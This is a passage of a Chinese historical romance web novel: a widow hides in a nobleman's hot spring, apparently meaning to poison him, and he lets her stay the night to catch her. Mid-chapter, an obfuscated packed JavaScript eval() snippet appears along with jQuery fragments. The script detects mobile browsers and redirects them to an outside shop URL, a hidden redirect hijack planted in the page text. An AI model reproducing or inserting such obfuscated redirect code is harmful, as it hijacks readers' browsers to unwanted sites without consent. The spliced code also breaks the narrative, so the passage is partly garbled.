隔着蒙蒙水雾,要看清楚被阴影笼罩的身影并不容易。
想不被发现也很难。
墨京澜眼帘半垂,脱去里衣,只剩下一条中裤,径直踏入温泉中。
他像个喜欢观察猎物的猎人,在狩猎范围内尽可能地给足猎物逃亡的时间,最后让它措手不及,陷入恐慌。
墨京澜背靠温泉池边,胸腹肌肉饱满,隆起的线条起伏清晰,两条精壮结实的胳膊完全摊开,目光若有若无地朝着水面上的一小块阴影靠去。
石头后面的空间,成为芙玉一个人的小天地,她极其庆幸能够找到这块可以掩藏起来的地方。
芙玉手里牢牢握着胸前的坠领,要下药的计划,她是想都不敢想了,没有因为一时冲动,差点犯下不可挽回错误。
及时收手完全还来得及,她如此想着,耐心等待墨京澜离开温泉,她就可以回到自己的禅房,今晚的事情便是一场虚无缥缈的梦。
然,等待的时间总是格外难熬,一分一秒都像是平白被拉长许多。
听到墨京澜似乎要从温泉里出来,她那颗悬在半空中的心,也稍稍落地。
再等上一会,她就万事大吉了。
指腹已经被泡得发白,蹲坐的姿势也保持的足够久了,她忍不住想要换个姿势。
周围的水波层层地荡漾开来,芙玉疏忽地没有察觉到这一点,水中不同于岸上,不是保持安静就能避免不被发现。
墨京澜面朝着温泉池面,在岸上披上白色薄衣,自是捕捉到这一轻微细节,丹凤眼一瞬不瞬地看向那块褐色湖石,等着躲在后面的人儿能够乖乖地出来。
事实上,芙玉也很难再心无旁骛地安心等下去,她贴着坚硬的石头,缓慢地转过肩,屏住呼吸地去面对她已经被发现的事实。
与墨京澜四目相对的瞬间,芙玉整个人都是呆滞的状态,脑海中一片空白,直到他来到她的面前时都没有反应过来。
“沈夫人,别来无恙。”墨京澜居高临下地垂首看她。
水面上露出小半身,纤薄肩膀上的层层衣料干透蓬松,颈间已有汗水流过的湿腻光滑。
他的视线移到她按在胸前的手,紧紧握着他看不到的一件物什。
似乎是导致她紧张不安的原因。
像个被箭矢抵住咽喉的小兽,放弃临死前的拼命挣扎。
他却十分想听她开口说话,“你怎么会在这里?”
这并非审问的口吻渐渐让她松开紧绷的身体。
芙玉悄悄呼出一口气,眼珠子转了转,谎话倒是很快浮上心头,表达出来的词句并不连贯,“我……我,我听说这里有个很大的温泉,就想来泡澡,没想到会这么巧,和墨公子你遇上了。”
墨京澜安静地听着,喉头轻嗯了声,揶揄道:“那你不知道这是我的住处么?”
她脸上一阵红一阵白,头埋得更低了,“…知道。”
“你是怎么进来的?”
芙玉稍抬起羞窘的脸,手指向墙角长满杂草的地方。
“从狗洞里钻进来的。”
听到他这原来如此的语气,自尊心莫名跑出来,芙玉反驳道:“那不是狗洞!是缺口!”
接着小声嘟囔道,“再说了,这里又没有人养狗。”
芙玉没有听到从头顶上方传来的声音,她现在不太敢抬头与他对视,咽了咽口中极少的唾沫,“我现在可以离开了么?”
他答得很快,“随意。”
芙玉如临大赦,哗啦一声站起来,腰下的藕色纱衣吸饱水分,贴着一寸寸曲线往下延伸。
没什么事比被发现的那一刻还要糟糕,她踏出温泉,衣裙不停地滴着水,仿佛也在拉着她往下坠。
芙玉后悔没有把褙子穿在身上,这样湿着身走在佛门圣地,让她情何以堪。
“不介意的话,可以在我这里借宿一晚,就当是还沈夫人留我借宿的人情了。”墨京澜偏转过身,不徐不疾地说。
她愣了愣,点头如捣蒜,“好啊。”
李娇娇对他死缠烂打的后果如何,心头阴霾犹在,不过能在他这里借宿一晚,是她难以拒绝的事情。
并非主动强求得来,能让两人关系可以进一步的机会,她不愿意错过。
有留下的权利后,她不想湿漉漉地站在岸上,进到池子里,“墨公子,我可以在你这里洗澡么?”
说话间,芙玉这才开始留意他的身材。
薄衣下的腹肌紧实,用猿背蜂腰来形容并不为过。
脱下衣袍后的墨公子,俨然从精通翰墨的文人,成为马背上挽长弓的大将军形象。
芙玉适实收回打量的目光,没听到他说不,也没有答应。
即是默认了吧。
她又笑盈盈地问,“墨公子这里有澡豆么?没有的话也没关系,请拿一件外袍给我好么?”
墨京澜转过了身,想必是去给她拿了。
她掬起一捧温泉水,拍在脸上,此前的什么窘迫啦,紧张和担忧统统不见。
不一会,他当真给她拿了小盘子,里面盛有散发出淡淡香味的澡豆。
味道比她自己用的要淡许多,靠近能闻到几许龙涎香的味道,而且是最好的用来进贡的龙涎香。
平常人到这也就知足了,可芙玉还想要味道更加甜美柔和的香露,在墨京澜要走之前,还想再提个请求,“那有没有——”
“没有,沈夫人,这里不是沈府。”墨京澜声音里携有一丝不悦,真把他当仆人使唤了,这妇人真是得寸进尺啊。
“哦。”芙玉开始摘下胸前的坠领,一件件地脱下身上的衣物,仿佛不把墨京澜当做外人。
那枚镌刻花鸟图案的金色器物就放在脱下的衣物旁,墨京澜在余光里看了最后一眼,袖口下的手倏地攥紧,脚步加快。
颀长的身形经过,月洞门屏风下,珠帘碰撞发出叮铃作响的声音。
明明已经离开温泉,来到室内,他的身上依旧有一股难以除去的燥热。
墨京澜瞥见条案上的白玉足伏羲琴,想去抚琴静心的念头刚刚升起,脑海里就被芙玉舞剑的画面填满。
该死。
那妇人舞剑的身影总是会不受控制地闯入他的脑海,像是四月里恣意生长的野草,斩不断,烧不尽。
他步到茶桌旁,拎起茶壶,一杯接着一杯喝完已经冷却透着苦涩的茶水。
等到胸腔内那点胡乱冲撞的臆念消散后,他方才如释重负坐在紫檀曲尺纹罗汉床上,恢复清郎的长眸,看向温泉池的方向,眉眼间尽是揣测。
那枚被她紧紧握在手里的花鸟图案的金器内藏有毒药。
她今晚是来给他下毒的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698839|208060||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她是东宫太子的人吗?
不是,他们在鄢城补充暗桩的速度没有这么快。
更何况,芙玉的身份寥寥数语就能概括。
鄢城瘦马出身,十六岁嫁给棉布商人为妻,半年后丈夫去世,接着守寡三年。
墨京澜眉头微蹙,思索她在成为瘦马之前的身世怎会是一片空白,是孤儿,是什么原因让她成为孤儿?再不济也应该有个亲戚在,可是她没有。
温泉边,芙玉尝试穿上这件浅褐色织金直褶,上面有四合如意云纹、杂宝纹等,以妆花技法织造而成,低调奢华。
卷了好几层袖摆才能露出手腕,她拿起已经拧干水分的衣裙,托着长长的衣摆,去室内找个地方晾。
有个合适的座屏,又迎着窗,是个极好挂衣服的地方。
她小碎步地跑过去,将藕色纱衣,粉色主腰,小衣,白纱裤纷纷挂在屏风上。
晾完后,她方才看到屏风后有人,居然一点声音都没有发出来。
墨京澜捏着象牙白八方杯,垂下眼帘,喝完最后一口茶。
真是个不会害臊的妇人。
芙玉笑脸相迎,步履款款走来,“我今晚睡在这里么?”
极其不合身的衣服穿在她身上,却也没有看出任何臃肿,行走时显露出几分窈窕身形,越是欲盖弥彰,越是遮掩不住底下的绝好身姿。
他盯着她手里的坠领,那颗椭圆形香薰笼泛着冷冷的金属光泽。
要给他下毒了是么?
给他下毒前还要笑得如此天真无邪。
呵,他倒要看看她什么时候漏出狐狸尾巴。
“我夜间会起来喝茶,这茶壶我就拿出去了。”墨京澜从罗汉床上起来。
芙玉一面把坠领放在茶几上,一面道:“不碍事的,放这里吧,我睡眠一向很沉。”
她想和他说说话的,男女共处一室,促进感情的事情可多了。
墨京澜身形微滞,顿了顿,“多有不便,还是说,沈夫人也要喝茶?”
芙玉摇头,默默放弃要单方向和他搭话的念头,看着他把茶壶放在离帐幄很近的矮桌上。
省去好几步的距离,这倒也方便。
墨京澜放下茶壶后,接着去把烛台上的灯火全灭了。
“公子,这盏羊角灯可以留着么?我怕黑。”芙玉赶忙踱步去护着黑夜里仅有的明灯。
“可以。”墨京澜留下这盏灯,他心想,卧底当成她这样的还真是头一次见。
他躺到床上,不禁反思自己是高估她了吗?
明明用最普通的审讯手段就能逼问出来,他还要给她时间等她走到下药那一步。
墨京澜偏过头,看向帷幄外的那团渐渐移动的暖黄色光晕。
羊角灯已经被芙玉挪到罗汉床旁边。
他对她的种种举动都颇为不解,丝毫不像是一个经过严格训练的暗桩。
还有一种可能,她只是善于迷惑。
墨京澜闭上眼睛,呼吸声平缓,佯装入睡,耳边高度集中地留意床幄外的任何动静。
然,他等了大半宿,芙玉依旧躺在罗汉床上,没有起来过。
他以为自己先前是在无端揣测,怀疑错人了,心里为此感到没由来的轻松。
就在他安然入睡时,耳边传来刻意放轻的脚步声。